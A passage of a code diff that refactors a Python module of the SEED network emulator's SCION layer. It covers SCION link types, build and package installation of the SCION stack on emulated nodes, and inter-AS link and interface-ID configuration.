version and release_location must not be specified independently - def __init__(self, - mode: str = None, - release_location: str = None, - version: str = None, - git_repo_url: str = None, - checkout: str = None - ): - if not mode: self.mode = "release" - else: self.mode = mode - if not release_location: - self.release_location = "https://github.com/scionproto/scion/releases/download/v0.12.0/scion_0.12.0_amd64_linux.tar.gz" - else: self.release_location = release_location - if not version: - self.version = "v0.12.0" - else: self.version = version - # "mode": "build", - if not git_repo_url: - self.git_repo_url = "https://github.com/scionproto/scion.git" - else: self.git_repo_url = git_repo_url - if not checkout: - self.checkout = "v0.12.0" # could be tag, branch or commit (ex "efbbd5835f33ab52389976d4b69d68fa7c087230") - else: self.checkout = checkout - - -# InstallationPlan, InstallPolicy -class SetupSpecification(Enum): - """! @brief describes how exactly the SCION distributables - shall be installed i.e. either from ubuntu-packages or local checkout and build - """ - - PACKAGES = "UbuntuPackage" - LOCAL_BUILD = "Compile from sources" #CheckoutSpecification - - def __call__(self, *args, **kwargs) -> SetupSpecification:#Union[str, CheckoutSpecification]: - """ - Overloads `()` to return the appropriate object based on the enum variant. - """ - if self == SetupSpecification.PACKAGES: - return self # "Ubuntu ETHZ .deb package installation" - elif self == SetupSpecification.LOCAL_BUILD: - if type(args[0]) == CheckoutSpecification: - self.checkout_spec = args[0] - else: - self.checkout_spec = CheckoutSpecification(*args, **kwargs) - return self - else: - raise TypeError(f"Invalid SetupSpecification variant: {self}") - - def describe(method): - match method: - case SetupSpecification.PACKAGES: - return "Installed via Ubuntu ETHZ .deb package" - case SetupSpecification.LOCAL_BUILD: - return "Local build from source" - -# TODO: add the notion of provided capabilities to SetupSpecification -# some features(options) of the ScionRouting layer -# might require a special checkout on the node (>> conditional options ) -# Currently we are unable to detect inadequate checkouts/setups -# for a given set of options on a node at build time(the emulation will just not work). -class ScionBuilder(): - """! - @brief A strategy object who knows how to install - the SCION distributables on a Node as instructed by a specification. - - This neatly separates installation and configuration of the SCION stack. - The former is the ScionBuilder's job, whereas the latter is up to the ScionRouting layer, - which delegates installatation to the builder. - The builder is stateless and all configuration state resides on nodes in form of options. - Checks the mode property and either downloads the binaries and builds it from source - Also supports local absolute directory file path to use instead in release mode - """ - - - def __init__(self): - pass - - def installSCION(self, node: Node): - """!@brief install required SCION distributables - (network stack) on the given node - Installs the right SCION stack distributables on the given node based on its role. - But doesn't configure them ( /etc/scion config dir is untouched by it) - The install is performed as instructed by the nodes SetupSpec option. - """ - spec = node.getOption('setup_spec', prefix='scion') - assert spec != None, 'implementation error - all nodes are supposed to have a SetupSpecification set by ScionRoutingLayer' - - match s:=spec.value: - case SetupSpecification.LOCAL_BUILD: - self.__installFromBuild(node, s.checkout_spec) - self._addSCIONLabPackages(node) - node.addBuildCommand("apt-get update && apt download scion-apps-bwtester" - " && dpkg --ignore-depends=scion-daemon,scion-dispatcher -i scion-apps-bwtester_3.4.2_amd64.deb") - - - case SetupSpecification.PACKAGES: - self._installFromDebPackage(node) - - def nameOfCmd(self, cmd, node: Node) -> str: - spec = node.getOption('setup_spec', prefix='scion') - assert spec != None, 'implementation error - all nodes are supposed to have a SetupSpecification set by ScionRoutingLayer' - assert cmd in ['router', 'control', 'dispatcher', 'daemon'], f'unknown SCION distributable {cmd}' - match spec.value: - case SetupSpecification.PACKAGES: - return {'router': 'scion-border-router', - 'control': 'scion-control-service', - 'dispatcher': 'scion-dispatcher', - 'daemon': 'sciond' }[cmd] - case SetupSpecification.LOCAL_BUILD: - return cmd - - def _addSCIONLabPackages(self, node: Node): - node.addBuildCommand( - 'echo "deb [trusted=yes] https://packages.netsec.inf.ethz.ch/debian all main"' - " > /etc/apt/sources.list.d/scionlab.list" - ) - - def _installFromDebPackage(self, node: Node): # TODO: don't install all distributables on all nodes i.e. no BR for hosts etc. - """Install SCION packages on the node.""" - self._addSCIONLabPackages(node) - node.addBuildCommand( - "apt-get update && apt-get install -y" - " scion-border-router scion-control-service scion-daemon scion-dispatcher scion-tools" - " scion-apps-bwtester" - ) - node.addSoftware("apt-transport-https") - node.addSoftware("ca-certificates") # by whom are these required exactly ?! only the deb-packages ?! - self.installHelpers(node) - - def __installFromBuild(self, node: Node, s: CheckoutSpecification): - """ - validates the specification and if its sensible - does checkout, build and mount into node as volume - """ - self.__validateBuildConfiguration(s) - build_dir = self.__generateBuild(s) - path_to_binaries = "/bin/scion/" # path in container TODO move to CheckoutSpec ?! - node.addSharedFolder(path_to_binaries, build_dir) - node.addDockerCommand(f'ENV PATH={path_to_binaries}:$PATH ') - self.installHelpers(node) - - def installHelpers(self, node: Node): - #node.addSoftware("apt-transport-https") - #node.addSoftware("ca-certificates") # by whom are these required exactly ?! only the deb-packages ?! - - if node.getOption("rotate_logs", prefix='scion').value == "true": - node.addSoftware("apache2-utils") # for rotatelogs - # TODO actually i had to check if there's any option on this node - # which has OptionMode.RUN_TIME set - if node.getOption("use_envsubst", prefix='scion').value == "true": # for envsubst - node.addSoftware("gettext") - - - - def __validateBuildConfiguration(self, config: CheckoutSpecification): - """ - validate build configuration dict by checking all the required keys and url validity - """ - if not config.mode: - raise KeyError("No SCION build configuration provided.") - if config.mode not in ["release", "build"]: - raise ValueError("Only two SCION build modes accepted. 'release'|'build'") - if config.mode == "release": - if not config.release_location: - raise KeyError("releaseLocation must be set for the mode 'release'") - self.__validateReleaseLocation(config.release_location) - if not config.version: - raise KeyError("version must be set for the mode 'release'") - if config.mode == "build": - if not config.git_repo_url: - raise KeyError("gitRepoUrl must be set for the mode 'build'") - if not config.checkout: - raise KeyError("'checkout' must be set for the mode 'build'") - self.__validateGitURL(config.git_repo_url) - - def __validateReleaseLocation(self, path: str): - """ - check if the local path exists or the url is valid and reachable - """ - if (path) and self.__is_local_path(path): - if not os.path.exists(path): - raise ValueError("SCION local binary location is not valid.") - if not os.path.isabs(path): - raise ValueError("Absolute path required for the folder containing binaries") - elif self.__is_http_url(path): - try: - response = requests.head(path, allow_redirects=True, timeout=5) - if not response.status_code < 400: - raise Exception(f"SCION release url is valid but not reachable") - except requests.RequestException as e: - logging.error(e) - raise Exception(f"SCION release url is valid but not reachable") - else: - raise ValueError("Release location is Neither a valid HTTP URL nor a local path") - - def __is_http_url(self, url: str) -> bool: - try: - result = urlparse(url) - return result.scheme in ("http", "https") and bool(result.netloc) - except ValueError: - return False - - def __is_local_path(self, path: str) -> bool: - # A local path shouldn't be a URL but should exist in the filesystem - return not self.__is_http_url(path) - - def __validateGitURL(self, url: str) : - # Ensure the URL ends with .git for Git repositories - if not url.endswith(".git"): - raise ValueError("URL does not look like a Git repository (missing .git)") - # Check the Git info/refs endpoint - git_service_url = f"{url}/info/refs?service=git-upload-pack" - try: - response = requests.get(git_service_url, timeout=10) - if not (response.status_code == 200 and "git-upload-pack" in response.text): - raise ValueError("SCION build repository not found (404)") - except requests.RequestException as e: - logging.error(e) - raise ValueError(f"Invalid SCION build repository") - - def __classifyGitCheckout(self, checkout: str) -> str: - # Check if it's a commit (40 characters, hexadecimal) - if re.match(r'^[0-9a-fA-F]{40}$', checkout): - return "commit" - # Check if it's a tag (can be any string, usually without slashes and more descriptive) - if re.match(r'^[\w.-]+$', checkout): - return "tag" - # Check if it's a branch (can include slashes, dashes, or numbers) - if re.match(r'^[\w/.-]+$', checkout): - return "branch" - - return "unknown" - - def __generateGitCloneString(self, repo_url: str, checkout: str) -> str: - """ - Generates a Git clone string for the specified reference (branch, tag, or commit). - """ - checkout_type = self.__classifyGitCheckout(checkout) - if checkout_type == "branch": - return f"git clone -b {checkout} {repo_url} scion" - elif checkout_type == "tag": - return f"git clone --branch {checkout} {repo_url} scion" - elif checkout_type == "commit": - # Clone first, then checkout the commit - return f"git clone {repo_url} scion && cd scion && git checkout {checkout}" - else: - raise ValueError("Invalid reference type. Must be 'branch', 'tag', or 'commit'.") - - def __generateBuild(self, spec: CheckoutSpecification) -> str : - """ - method to build all SCION binaries and output to .scion_build_output based on the configuration mode - """ - if spec.mode == "release": - if not self.__is_local_path(spec.release_location): - if not os.path.isdir(f".scion_build_output/scion_binaries_{spec.version}"): - SCION_RELEASE_TEMPLATE = f"""FROM alpine - RUN apk add --no-cache wget tar - WORKDIR /app - RUN wget -qO- {spec.release_location} | tar xvz -C /app - """ - dockerfile = BuildtimeDockerFile(SCION_RELEASE_TEMPLATE) - container = BuildtimeDockerImage(f"scion-release-fetch-container_{spec.version}").build(dockerfile).container() - current_dir = os.getcwd() - output_dir = os.path.join(current_dir, f".scion_build_output/scion_binaries_{spec.version}") - container.entrypoint("sh").mountVolume(output_dir, "/build").run( - "-c \"cp -r /app/* /build\"" - ) - return output_dir - - else: - output_dir = os.path.join(os.getcwd(), f".scion_build_output/scion_binaries_{spec.version}") - return output_dir - else: - return spec.release_location - else: - if not os.path.isdir(f".scion_build_output/scion_binaries_{spec.checkout}"): - SCION_BUILD_TEMPLATE = f"""FROM golang:1.22-alpine - RUN apk add --no-cache git - RUN {self.__generateGitCloneString(spec.git_repo_url, spec.checkout)} - RUN cd scion && go mod tidy && CGO_ENABLED=0 go build -o bin ./router/... ./control/... ./dispatcher/... ./daemon/... ./scion/... ./scion-pki/... ./gateway/... - """ - dockerfile = BuildtimeDockerFile(SCION_BUILD_TEMPLATE) - container = BuildtimeDockerImage(f"scion-build-container-{spec.checkout}").build(dockerfile).container() - current_dir = os.getcwd() - output_dir = os.path.join(current_dir, f".scion_build_output/scion_binaries_{spec.checkout}") - container.entrypoint("sh").mountVolume(output_dir, "/build").run( - "-c \"cp -r scion/bin/* /build\"" - ) - return output_dir - - else: - output_dir = os.path.join(os.getcwd(), f".scion_build_output/scion_binaries_{spec.checkout}") - return output_dir - - -class Scion(Layer, Graphable): - """! - @brief This layer manages SCION inter-AS links. - - This layer requires specifying link end points as ISD-ASN pairs as ASNs - alone do not uniquely identify a SCION AS (see ScionISD layer). - """ - - __links: Dict[Tuple[IA, IA, str, str, LinkType], int] - __ix_links: Dict[Tuple[int, IA, IA, str, str, LinkType], Dict[str,Any] ] - __if_ids_by_as = {} # Dict[IA, Set[int]] - - def __init__(self): - """! - @brief SCION layer constructor. - """ - super().__init__() - self.__links = {} - self.__ix_links = {} - self.addDependency('ScionIsd', False, False) - - def getName(self) -> str: - return "Scion" - - @staticmethod - def _setIfId(ia: IA, ifid: int): - """!@brief allocate the given IFID for the given AS. - Returns wheter or not this assignment was unique - or the ID already occupied by another Interface. - """ - ifs = Scion.getIfIds(ia) - v = ifid in ifs - ifs.add(ifid) - Scion.__if_ids_by_as[ia] = ifs - return v - - @staticmethod - def getIfIds(ia: IA) -> Set[int]: - ifs = set() - keys = Scion.__if_ids_by_as.keys() - if ia in keys: - ifs = Scion.__if_ids_by_as[ia] - return ifs - - @staticmethod - def peekNextIfId(ia: IA) -> int: - """! @brief get the next free IFID, but don't allocate it yet. - @note subsequent calls return the same, if not interleaved with getNextIfId() or _setIfId() - """ - ifs = Scion.getIfIds(ia) - if not ifs: - return 0 - - last = Scion._fst_free_id(ifs) - return last+1 - - @staticmethod - def _fst_free_id(ifs: Set[int]) -> int: - """ find the first(lowest) available free IFID number""" - last = -1 - for i in ifs: - if i-last > 1: - return last+1 - else: - last=i - return last - - @staticmethod - def getNextIfId(ia: IA) -> int: - """ allocate the next free IFID - if call returned X, a subsequent call will return X+1 (or higher) - """ - ifs = Scion.getIfIds(ia) - if not ifs: - ifs.add(1) - ifs.add(0) - Scion.__if_ids_by_as[ia] = ifs - - return 1 - - last = Scion._fst_free_id(ifs) - - ifs.add(last+1) - Scion.__if_ids_by_as[ia] = ifs - return last+1 - - def addXcLink(self, a: Union[IA, Tuple[int, int]], b: Union[IA, Tuple[int, int]], - linkType: LinkType, count: int=1, a_router: str="", b_router: str="",) -> 'Scion': - """! - @brief Create a direct cross-connect link between to ASes. - - @param a First AS (ISD and ASN). - @param b Second AS (ISD and ASN). - @param linkType Link type from a to b. - @param count Number of parallel links. - @param a_router router of AS a default is "" - @param b_router router of AS b default is "" - - @throws AssertionError if link already exists or is link to self. - - @returns self - """ - a, b = IA(*a), IA(*b) - assert a.asn != b.asn, "Cannot link as{} to itself.".format(a) - assert (a, b, a_router, b_router, linkType) not in self.__links, ( - "Link between as{} and as{} of type {} exists already.".format(a, b, linkType)) - - self.__links[(a, b, a_router, b_router, linkType)] = count - - return self - -# additional arguments in 'kwargs': -# i.e. a_IF_ID and b_IF_ID if known (i.e. by a DataProvider) - def addIxLink(self, ix: int, a: Union[IA, Tuple[int, int]], b: Union[IA, Tuple[int, int]], - linkType: LinkType, count: int=1, a_router: str="", b_router: str="", **kwargs) -> 'Scion': - """! - @brief Create a private link between two ASes at an IX. - - @param ix IXP id. - @param a First AS (ISD and ASN). - @param b Second AS (ISD and ASN). - @param linkType Link type from a to b. In case of Transit: A is parent - @param count Number of parallel links. - @param a_router router of AS a default is "" - @param b_router router of AS b default is "" - - @throws AssertionError if link already exists or is link to self. - - @returns self - """ - a, b = IA(*a), IA(*b) - assert a.asn != b.asn, "Cannot link as{} to itself.".format(a) - assert (a, b, a_router, b_router, linkType) not in self.__links, ( - "Link between as{} and as{} of type {} at ix{} exists already.".format(a, b, linkType, ix)) - - key = (ix, a, b, a_router, b_router, linkType) - - ids = [] - if 'if_ids' in kwargs: - ids = kwargs['if_ids'] - assert not Scion._setIfId(a, ids[0]), f'Interface ID {ids[0]} not unique for IA {a}' - assert not Scion._setIfId(b, ids[1]), f'Interface ID {ids[1]} not unique for IA {b}' - else: # auto assign next free IFIDs - ids = (Scion.getNextIfId(a), Scion.getNextIfId(b)) - - if key in self.__ix_links.keys(): - self.__ix_links[key]['count'] += count - else: - self.__ix_links[key] = {'count': count , 'if_ids': set()} - - self.__ix_links[key]['if_ids'].add(ids) - - return self - - def configure(self, emulator: Emulator) -> None: - reg = emulator.getRegistry() - base_layer: ScionBase = reg.get('seedemu', 'layer', 'Base') - assert issubclass(base_layer.__class__, ScionBase) - - self._configure_links(reg, base_layer) - - def render(self, emulator: Emulator) -> None: - pass - - def _doCreateGraphs(self, emulator: Emulator) -> None: - # core AS: double circle - # non-core AS: circle - # core link: bold line - # transit link: normal line - # peering link: dashed line - - self._log('Creating SCION graphs...') - graph = self._addGraph('Scion Connections', False) - - reg = emulator.getRegistry() - scionIsd_layer: ScionIsd = reg.get('seedemu', 'layer', 'ScionIsd') - - for (a, b, a_router, b_router, rel), count in self.__links.items(): - a_shape = 'doublecircle' if scionIsd_layer.isCoreAs(a.isd, a.asn) else 'circle' - b_shape = 'doublecircle' if scionIsd_layer.isCoreAs(b.isd, b.asn) else 'circle' - - if not graph.hasVertex('AS{}'.format(a.asn), 'ISD{}'.format(a.isd)): - graph.addVertex('AS{}'.format(a.asn), 'ISD{}'.format(a.isd), a_shape) - if not graph.hasVertex('AS{}'.format(b.asn), 'ISD{}'.format(b.isd)): - graph.addVertex('AS{}'.format(b.asn), 'ISD{}'.format(b.isd), b_shape) - - if rel == LinkType.Core: - for _ in range(count): - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - style= 'bold') - if rel == LinkType.Transit: - for _ in range(count): - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - alabel='P', blabel='C') - if rel == LinkType.Peer: - for _ in range(count): - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - style= 'dashed') - - for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): - count = d['count'] - ifids = d['if_ids'] - assert count == len(ifids) - a_shape = 'doublecircle' if scionIsd_layer.isCoreAs(a.isd, a.asn) else 'circle' - b_shape = 'doublecircle' if scionIsd_layer.isCoreAs(b.isd, b.asn) else 'circle' - - if not graph.hasVertex('AS{}'.format(a.asn), 'ISD{}'.format(a.isd)): - graph.addVertex('AS{}'.format(a.asn), 'ISD{}'.format(a.isd), a_shape) - if not graph.hasVertex('AS{}'.format(b.asn), 'ISD{}'.format(b.isd)): - graph.addVertex('AS{}'.format(b.asn), 'ISD{}'.format(b.isd), b_shape) - - if rel == LinkType.Core: - for ids in ifids: - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - label='IX{}'.format(ix), style= 'bold', - alabel=f'#{ids[0]}',blabel=f'#{ids[1]}') - elif rel == LinkType.Transit: - for ids in ifids: - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - label='IX{}'.format(ix), - alabel=f'P #{ids[0]}', blabel=f'C #{ids[1]}') - elif rel == LinkType.Peer: - for ids in ifids: - graph.addEdge('AS{}'.format(a.asn), 'AS{}'.format(b.asn), - 'ISD{}'.format(a.isd), 'ISD{}'.format(b.isd), - 'IX{}'.format(ix), style= 'dashed', - alabel=f'#{ids[0]}',blabel=f'#{ids[1]}') - else: - assert False, f'Invalid LinkType: {rel}' - - def print(self, indent: int = 0) -> str: - out = ' ' * indent - out += 'ScionLayer:\n' - - indent += 4 - for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): - count = d['count'] - out += ' ' * indent - if a_router == "": - out += f'IX{ix}: AS{a} -({rel})-> ' - else: - out += f'IX{ix}: AS{a}_{a_router} -({rel})-> ' - if b_router == "": - out += f'AS{b}' - else: - out += f'AS{b}_{b_router}' - if count > 1: - out += f' ({count} times)' - out += '\n' - - for (a, b, a_router, b_router, rel), count in self.__links.items(): - out += ' ' * indent - if a_router == "": - out += f'XC: AS{a} -({rel})-> ' - else: - out += f'XC: AS{a}_{a_router} -({rel})-> ' - if b_router == "": - out += f'AS{b}' - else: - out += f'AS{b}_{b_router}' - if count > 1: - out += f' ({count} times)' - out += '\n' - - return out - - def _configure_links(self, reg: Registry, base_layer: ScionBase) -> None: - """Configure SCION links with IFIDs, IPs, ports, etc.""" - # cross-connect links - for (a, b, a_router, b_router, rel), count in self.__links.items(): - a_reg = ScopedRegistry(str(a.asn), reg) - b_reg = ScopedRegistry(str(b.asn), reg) - a_as = base_layer.getAutonomousSystem(a.asn) - b_as = base_layer.getAutonomousSystem(b.asn) - - if a_router == "" or b_router == "": # if routers are not explicitly specified try to get them - try: - a_router, b_router = self.__get_xc_routers(a.asn, a_reg, b.asn, b_reg) - except AssertionError: - assert False, f"cannot find XC to configure link as{a} --> as{b}" - else: # if routers are explicitly specified, try to get them - try: - a_router = a_reg.get('rnode', a_router) - except AssertionError: - assert False, f"cannot find router {a_router} in as{a}" - try: - b_router = b_reg.get('rnode', b_router) - except AssertionError: - assert False, f"cannot find router {b_router} in as{b}" - - a_ifaddr, a_net, _ = a_router.getCrossConnect(b.asn, b_router.getName()) - b_ifaddr, b_net, _ = b_router.getCrossConnect(a.asn, a_router.getName()) - assert a_net == b_net - net = reg.get('xc', 'net', a_net) - a_addr = str(a_ifaddr.ip) - b_addr = str(b_ifaddr.ip) - - for _ in range(count): - self._log(f"add scion XC link: {a_addr} as{a} -({rel})-> {b_addr} as{b}") - self.__create_link(a_router, b_router, a, b, a_as, b_as, - a_addr, b_addr, net, rel) - - # IX links - for (ix, a, b, a_router, b_router, rel), d in self.__ix_links.items(): - count = d['count'] - ix_reg = ScopedRegistry('ix', reg) - a_reg = ScopedRegistry(str(a.asn), reg) - b_reg = ScopedRegistry(str(b.asn), reg) - a_as = base_layer.getAutonomousSystem(a.asn) - b_as = base_layer.getAutonomousSystem(b.asn) - - ix_net = ix_reg.get('net', f'ix{ix}') - if a_router == "" or b_router == "": # if routers are not explicitly specified get all routers in AS - a_routers = a_reg.getByType('rnode') - b_routers = b_reg.getByType('rnode') - else: # else get the specified routers - a_routers = [a_reg.get('rnode', a_router)] - b_routers = [b_reg.get('rnode', b_router)] - - # get the routers connected to the IX - try: - a_ixrouter, a_ixif = self.__get_ix_port(a_routers, ix_net) - except AssertionError: - assert False, f"cannot resolve scion peering: as{a} not in ix{ix}" - try: - b_ixrouter, b_ixif = self.__get_ix_port(b_routers, ix_net) - except AssertionError: - assert False, f"cannot resolve scion peering: as{a} not in ix{ix}" - if 'if_ids' in d: - self._log(f"add scion IX link: {a_ixif.getAddress()} AS{a} -({rel})->" - f"{b_ixif.getAddress()} AS{b}") - for ids in d['if_ids']: - self.__create_link(a_ixrouter, b_ixrouter, a, b, a_as, b_as, - str(a_ixif.getAddress()), str(b_ixif.getAddress()), - ix_net, rel, if_ids = ids) - else: - for _ in range(count): - self._log(f"add scion IX link: {a_ixif.getAddress()} AS{a} -({rel})->" - f"{b_ixif.getAddress()} AS{b}") - - self.__create_link(a_ixrouter, b_ixrouter, a, b, a_as, b_as, - str(a_ixif.getAddress()), str(b_ixif.getAddress()), - ix_net, rel) - - @staticmethod - def __get_xc_routers(a: int, a_reg: ScopedRegistry, b: int, b_reg: ScopedRegistry) -> Tuple[Router, Router]: - """Find routers responsible for a cross-connect link between a and b.""" - for router in a_reg.getByType('brdnode'): - for peer, asn in router.getCrossConnects().keys(): - if asn == b and b_reg.has('brdnode', peer): - return (router, b_reg.get('brdnode', peer)) - assert False - - @staticmethod - def __get_ix_port(routers: ScopedRegistry, ix_net: Network) -> Tuple[Router, Interface]: - """Find a router in 'routers' that is connected to 'ix_net' and the - interface making the connection. - """ - for router in routers: - for iface in router.getInterfaces(): - if iface.getNet() == ix_net: - return (router, iface) - else: - assert False - - def __create_link(self, - a_router: 'ScionRouter', b_router: 'ScionRouter', - a_ia: IA, b_ia: IA, - a_as: ScionAutonomousSystem, b_as: ScionAutonomousSystem, - a_addr: str, b_addr: str, - net: Network, - rel: LinkType, - if_ids=None ): - """Create a link between SCION BRs a and b. - In case of LinkType Transit: A is parent of B - """ - - a_ifid = -1 - b_ifid = -1 - - if if_ids: - a_ifid = if_ids[0] - b_ifid = if_ids[1] - else: - a_ifid = Scion.getNextIfId(a_ia) - b_ifid = Scion.getNextIfId(b_ia) - - a_port = a_router.getNextPort() - b_port = b_router.getNextPort() - - a_core = 'core' in a_as.getAsAttributes(a_ia.isd) - b_core = 'core' in b_as.getAsAttributes(b_ia.isd) - - if a_core and b_core: - assert rel == LinkType.Core, f'Between Core ASes there can only be Core Links! {a_ia} -- {b_ia}' - - a_iface = { - "underlay": { - "local": f"{a_addr}:{a_port}", - "remote": f"{b_addr}:{b_port}", - }, - "isd_as": str(b_ia), - "link_to": rel.to_json(a_core, True), - "mtu": net.getMtu(), - } - # TODO: additional settings according to config of 'as_a' - - b_iface = { - "underlay": { - "local": f"{b_addr}:{b_port}", - "remote": f"{a_addr}:{a_port}", - }, - "isd_as": str(a_ia), - "link_to": rel.to_json(b_core, False), - "mtu": net.getMtu(), - } - # TODO: additional settings according to config of 'as_b' - - # XXX(benthor): Remote interface id could probably be added - # regardless of LinkType but might then undermine SCION's - # discovery mechanism of remote interface ids. This way is - # more conservative: Only add 'remote_interface_id' field to - # dicts if LinkType is Peer. - # - # WARNING: As of February 2023, this feature is not yet - # supported in upstream SCION. - if rel == LinkType.Peer: - self._log("WARNING: As of February 2023 SCION peering links are not supported in upstream SCION") - a_iface["remote_interface_id"] = int(b_ifid) - b_iface["remote_interface_id"] = int(a_ifid) - - # Create interfaces in BRs - a_router.addScionInterface(int(a_ifid), a_iface) - b_router.addScionInterface(int(b_ifid), b_iface) +from __future__ import annotations + +import logging +import os +import re +import requests +from dataclasses import dataclass +from enum import Enum +from typing import Any, Dict, Set, Tuple, Union +from urllib.parse import urlparse + +from seedemu.core import ( + AutoRegister, + Emulator, + Graphable, + Interface, + Layer, + Network, + Node, + Option, + OptionMode, + Registry, + Router, + ScionAutonomousSystem, + ScopedRegistry, +) +from seedemu.core.ScionAutonomousSystem import IA +from seedemu.layers import ScionBase, ScionIsd +from seedemu.utilities.BuildtimeDocker import BuildtimeDockerFile, BuildtimeDockerImage, sh + + +class LinkType(Enum): + """! + @brief Type of a SCION link between two ASes. + """ + + Core = "Core" # Core link between core ASes + Transit = "Transit" # Customer-Provider transit link + Peer = "Peer" # Non-core AS peering link + + def __str__(self): + return f"{self.name}" + + def to_topo_format(self) -> str: + """Return type name as expected in .topo files.""" + if self.value == "Core": + return "CORE" + elif self.value == "Transit": + return "CHILD" + elif self.value == "Peer": + return "PEER" + assert False, "invalid scion link type" + + def to_json(self, core_as: bool, is_parent: bool) -> str: + """ + a core AS has to have 'CHILD' as its 'link_to' attribute value, + for all interfaces!! + The child AS on the other end of the link will have 'PARENT' + """ + if self.value == "Core": + return "CORE" + elif self.value == "Peer": + return "PEER" + elif self.value == "Transit": + if is_parent: + return "CHILD" + else: + assert ( + not core_as + ), "Logic error: Core ASes must only provide transit to customers, not receive it!" + return "PARENT" + + +class ScionConfigMode(Enum): + """how shall the /etc/scion config dir contents be handled:""" + + BAKED_IN = 0 + SHARED_FOLDER = 1 + NAMED_VOLUME = 2 + + + +class SCION_ETC_CONFIG_VOL(Option, AutoRegister): + """ this option controls the policy where to put all the SCION related files on the host. """ + value_type = ScionConfigMode + + @classmethod + def supportedModes(cls) -> OptionMode: + return OptionMode.BUILD_TIME + + @classmethod + def default(cls): + return ScionConfigMode.BAKED_IN + + +def handleScionConfFile(node, filename: str, filecontent: str, subdir: str = None): + """ wrapper around 'Node::setFile' for /etc/scion config files + @param subdir sub path relative to /etc/scion + """ + if (opt := node.getOption("scion_etc_config_vol")) is not None: + suffix = f"/{subdir}" if subdir is not None else "" + match opt.value: + case ScionConfigMode.SHARED_FOLDER: + current_dir = os.getcwd() + path = os.path.join( + current_dir, f".shared/{node.getAsn()}/{node.getName()}/etcscion{suffix}" + ) + os.makedirs(path, exist_ok=True) + with open(os.path.join(path, filename), "w", encoding="utf-8") as f: + f.write(filecontent) + case _: + node.setFile(f"/etc/scion{suffix}/{filename}", filecontent) + else: + assert False, "implementation error - lacking global default for option" + + +@dataclass +class CheckoutSpecification: + """ + Identifies a specific SCION release version or RepoCheckout + """ + + mode: str + release_location: str + version: str + git_repo_url: str + checkout: str + + def __init__( + self, + mode: str = None, + release_location: str = None, + version: str = None, + git_repo_url: str = None, + checkout: str = None, + ): + self.mode = mode if mode else "release" + self.release_location = ( + release_location + if release_location + else "https://github.com/scionproto/scion/releases/download/v0.12.0/scion_0.12.0_amd64_linux.tar.gz" + ) + self.version = version if version else "v0.12.0" + self.git_repo_url = git_repo_url if git_repo_url else "https://github.com/scionproto/scion.git" + self.checkout = checkout if checkout else "v0.12.0" + + +class SetupSpecification(Enum): + """describes how exactly the SCION distributables shall be installed""" + + PACKAGES = "UbuntuPackage" + LOCAL_BUILD = "Compile from sources" + + def __call__(self, *args, **kwargs) -> "SetupSpecification": + """ + Overloads `()` to return the appropriate object based on the enum variant. + """ + if self == SetupSpecification.PACKAGES: + return self + elif self == SetupSpecification.LOCAL_BUILD: + if len(args) > 0 and isinstance(args[0], CheckoutSpecification): + self.checkout_spec = args[0] + else: + self.checkout_spec = CheckoutSpecification(*args, **kwargs) + return self + else: + raise TypeError(f"Invalid SetupSpecification variant: {self}") + + def describe(method): + match method: + case SetupSpecification.PACKAGES: + return "Installed via Ubuntu ETHZ .deb package" + case SetupSpecification.LOCAL_BUILD: + return "Local build from source" + + +class ScionBuilder: + """ + Strategy object that installs SCION distributables on a node based on node setup_spec. + """ + + def __init__(self): + pass + + def installSCION(self, node: Node): + spec = node.getOption("setup_spec", prefix="scion") + assert ( + spec is not None + ), "implementation error - all nodes are supposed to have a SetupSpecification set by ScionRoutingLayer" + + match s := spec.value: + case SetupSpecification.LOCAL_BUILD: + self.__installFromBuild(node, s.checkout_spec) + self._addSCIONLabPackages(node) + node.addBuildCommand( + "apt-get update && apt download scion-apps-bwtester" + " && dpkg --ignore-depends=scion-daemon,scion-dispatcher -i scion-apps-bwtester_3.4.2_amd64.deb" + ) + case SetupSpecification.PACKAGES: + self._installFromDebPackage(node) + + def nameOfCmd(self, cmd, node: Node) -> str: + spec = node.getOption("setup_spec", prefix="scion") + assert spec is not None, "setup_spec missing" + assert cmd in ["router", "control", "dispatcher", "daemon"], f"unknown SCION distributable {cmd}" + + match spec.value: + case SetupSpecification.PACKAGES: + return { + "router": "scion-border-router", + "control": "scion-control-service", + "dispatcher": "scion-dispatcher", + "daemon": "sciond", + }[cmd] + case SetupSpecification.LOCAL_BUILD: + return cmd + + def _addSCIONLabPackages(self, node: Node): + node.addBuildCommand( + 'echo "deb [trusted=yes] https://packages.netsec.inf.ethz.ch/debian all main"' + " > /etc/apt/sources.list.d/scionlab.list" + ) + + def _installFromDebPackage(self, node: Node): + self._addSCIONLabPackages(node) + node.addBuildCommand( + "apt-get update && apt-get install -y" + " scion-border-router scion-control-service scion-daemon scion-dispatcher scion-tools" + " scion-apps-bwtester" + ) + node.addSoftware("apt-transport-https") + node.addSoftware("ca-certificates") + self.installHelpers(node) + + def __installFromBuild(self, node: Node, s: CheckoutSpecification): + self.__validateBuildConfiguration(s) + build_dir = self.__generateBuild(s) + path_to_binaries = "/bin/scion/" + node.addSharedFolder(path_to_binaries, build_dir) + node.addDockerCommand(f"ENV PATH={path_to_binaries}:$PATH ") + self.installHelpers(node) + + def installHelpers(self, node: Node): + if node.getOption("rotate_logs", prefix="scion").value == "true": + node.addSoftware("apache2-utils") + if node.getOption("use_envsubst", prefix="scion").value == "true": + node.addSoftware("gettext") + + # ---------------- FIXED INDENTATION STARTS HERE ---------------- + + def __validateBuildConfiguration(self, config: CheckoutSpecification): + if not config.mode: + raise KeyError("No SCION build configuration provided.") + if config.mode not in ["release", "build"]: + raise ValueError("Only two SCION build modes accepted. 'release'|'build'") + + if config.mode == "release": + if not config.release_location: + raise KeyError("releaseLocation must be set for the mode 'release'") + self.__validateReleaseLocation(config.release_location) + if not config.version: + raise KeyError("version must be set for the mode 